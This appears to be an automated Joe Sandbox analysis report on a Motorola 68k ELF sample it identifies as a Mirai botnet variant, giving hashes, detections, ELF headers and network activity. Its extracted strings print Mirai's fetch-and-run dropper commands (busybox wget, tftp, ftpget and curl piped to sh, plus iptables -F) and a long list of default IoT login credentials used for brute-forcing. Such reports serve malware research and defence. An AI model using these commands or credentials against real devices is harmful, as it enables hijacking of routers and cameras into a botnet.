Joe Sandbox Cloud Basic Analysis Report

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Linux Analysis Report
m68k.elf

Overview

General Information

Sample name:m68k.elf
Analysis ID:1589597
MD5:a3dad18d06c33420d39faca6f6630131
SHA1:fbb3ee4c2bb697947038001e6c34625d5ebf818d
SHA256:d78751d1789302752e87bc725c7a7add864e7172999e24cf155fb992f56114b0
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1589597
Start date and time:2025-01-12 22:37:09 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 28s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:m68k.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0

Runtime Messages

Command:/tmp/m68k.elf
PID:5491
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

  • system is lnxubuntu20
  • m68k.elf (PID: 5491, Parent: 5415, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/m68k.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
m68k.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5491.1.00007f7da8001000.00007f7da801b000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security

      Suricata Signatures

      ⊘No Suricata rule has matched

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for submitted file
      Source: m68k.elfReversingLabs: Detection: 34%
      Source: m68k.elfString: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafedbin20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k
      Source: /tmp/m68k.elf (PID: 5491)Socket: 127.0.0.1:43478Jump to behavior
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: m68k.elfString found in binary or memory: http:///curl.sh
      Source: m68k.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: (191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.19
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafedbin20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/t
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /tmp/m68k.elf (PID: 5491)Queries kernel information via 'uname': Jump to behavior
      Source: m68k.elf, 5491.1.00007ffcfb994000.00007ffcfb9b5000.rw-.sdmpBinary or memory string: /usr/bin/qemu-m68k
      Source: m68k.elf, 5491.1.0000555c59c8e000.0000555c59d13000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/m68k
      Source: m68k.elf, 5491.1.0000555c59c8e000.0000555c59d13000.rw-.sdmpBinary or memory string: Y\U!/etc/qemu-binfmt/m68k
      Source: m68k.elf, 5491.1.00007ffcfb994000.00007ffcfb9b5000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
      Source: m68k.elf, 5491.1.00007ffcfb994000.00007ffcfb9b5000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-m68k/tmp/m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/m68k.elf

      Stealing of Sensitive Information

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: m68k.elf, type: SAMPLE
      Source: Yara matchFile source: 5491.1.00007f7da8001000.00007f7da801b000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: m68k.elf, type: SAMPLE
      Source: Yara matchFile source: 5491.1.00007f7da8001000.00007f7da801b000.r-x.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting      		Valid AccountsWindows Management Instrumentation1
      Scripting      		Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery      		Remote ServicesData from Local System1
      Non-Application Layer Protocol      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol      		Exfiltration Over BluetoothNetwork Denial of Service

      Malware Configuration

      ⊘No configs have been found

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      m68k.elf34%ReversingLabsLinux.Backdoor.Mirai

      Dropped Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      		162.213.35.24
      		truefalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.shm68k.elffalse
          		high
          http:///curl.shm68k.elffalse
            		high

            World Map of Contacted IPs

            ⊘No contacted IP infos

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.commips.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            Cinquento.arm5.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            Cinquento.x86.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            Cinquento.arm6.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            Cinquento.sh4.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            Cinquento.m68k.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            la.bot.arm6.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            Cinquento.ppc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            Cinquento.arm7.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            Cinquento.spc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24

            ASNs

            ⊘No context

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            ⊘No context

            Created / dropped Files

            ⊘No created / dropped files found

            Static File Info

            General

            File type:ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
            Entropy (8bit):6.295524957561097
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:m68k.elf
            File size:107'076 bytes
            MD5:a3dad18d06c33420d39faca6f6630131
            SHA1:fbb3ee4c2bb697947038001e6c34625d5ebf818d
            SHA256:d78751d1789302752e87bc725c7a7add864e7172999e24cf155fb992f56114b0
            SHA512:186bc268a794704e6ddd82dd9ec80ada04e4ad1d4d57232e937b97cca9e69a06a327c7a87c7cf75e7268936df0ad28bc2d8c29f020067d63ad7550336a305b56
            SSDEEP:3072:CMApV2zwJ18JMPwfQyrzdp6NSmChyS1aX6h/:+2RqdyrR4NSThyO/
            TLSH:CEA329C7F800DEBCFC4AD63B81170B1AB330B7555F422A3373527A67A9651D46D2AE82
            File Content Preview:.ELF.......................D...4.........4. ...(.......................d...d...... ........d...d...d......f....... .dt.Q............................NV..a....da...khN^NuNV..J9...Df>"y...| QJ.g.X.#....|N."y...| QJ.f.A.....J.g.Hy...`N.X........DN^NuNV..N^NuN

            Static ELF Info

            ELF header

            Class:ELF32
            Data:2's complement, big endian
            Version:1 (current)
            Machine:MC68000
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x80000144
            Flags:0x0
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:106636
            Section Header Size:40
            Number of Section Headers:11
            Header String Table Index:10

            Sections

            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x800000940x940x140x00x6AX002
            .textPROGBITS0x800000a80xa80x16b920x00x6AX004
            .finiPROGBITS0x80016c3a0x16c3a0xe0x00x6AX002
            .rodataPROGBITS0x80016c480x16c480x30160x00x2A002
            .eh_framePROGBITS0x80019c600x19c600x40x00x2A004
            .ctorsPROGBITS0x8001bc640x19c640x80x00x3WA004
            .dtorsPROGBITS0x8001bc6c0x19c6c0x80x00x3WA004
            .dataPROGBITS0x8001bc780x19c780x3cc0x00x3WA004
            .bssNOBITS0x8001c0440x1a0440x62f00x00x3WA004
            .shstrtabSTRTAB0x00x1a0440x480x00x0001

            Program Segments

            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x800000000x800000000x19c640x19c646.31790x5R E0x2000.init .text .fini .rodata .eh_frame
            LOAD0x19c640x8001bc640x8001bc640x3e00x66d03.34530x6RW 0x2000.ctors .dtors .data .bss
            GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

            Network Behavior

            Network Port Distribution

            UDP Packets

            TimestampSource PortDest PortSource IPDest IP
            Jan 12, 2025 22:38:02.108211040 CET3442853192.168.2.141.1.1.1
            Jan 12, 2025 22:38:02.108264923 CET4633553192.168.2.141.1.1.1
            Jan 12, 2025 22:38:02.115921974 CET53463351.1.1.1192.168.2.14
            Jan 12, 2025 22:38:02.116404057 CET53344281.1.1.1192.168.2.14

            DNS Queries

            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 12, 2025 22:38:02.108211040 CET192.168.2.141.1.1.10x243eStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 12, 2025 22:38:02.108264923 CET192.168.2.141.1.1.10x5d9eStandard query (0)daisy.ubuntu.com28IN (0x0001)false

            DNS Answers

            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 12, 2025 22:38:02.116404057 CET1.1.1.1192.168.2.140x243eNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
            Jan 12, 2025 22:38:02.116404057 CET1.1.1.1192.168.2.140x243eNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

            System Behavior

            General

            Start time (UTC):21:37:59
            Start date (UTC):12/01/2025
            Path:/tmp/m68k.elf
            Arguments:/tmp/m68k.elf
            File size:4463432 bytes
            MD5 hash:cd177594338c77b895ae27c33f8f86cc

            Chronological Activities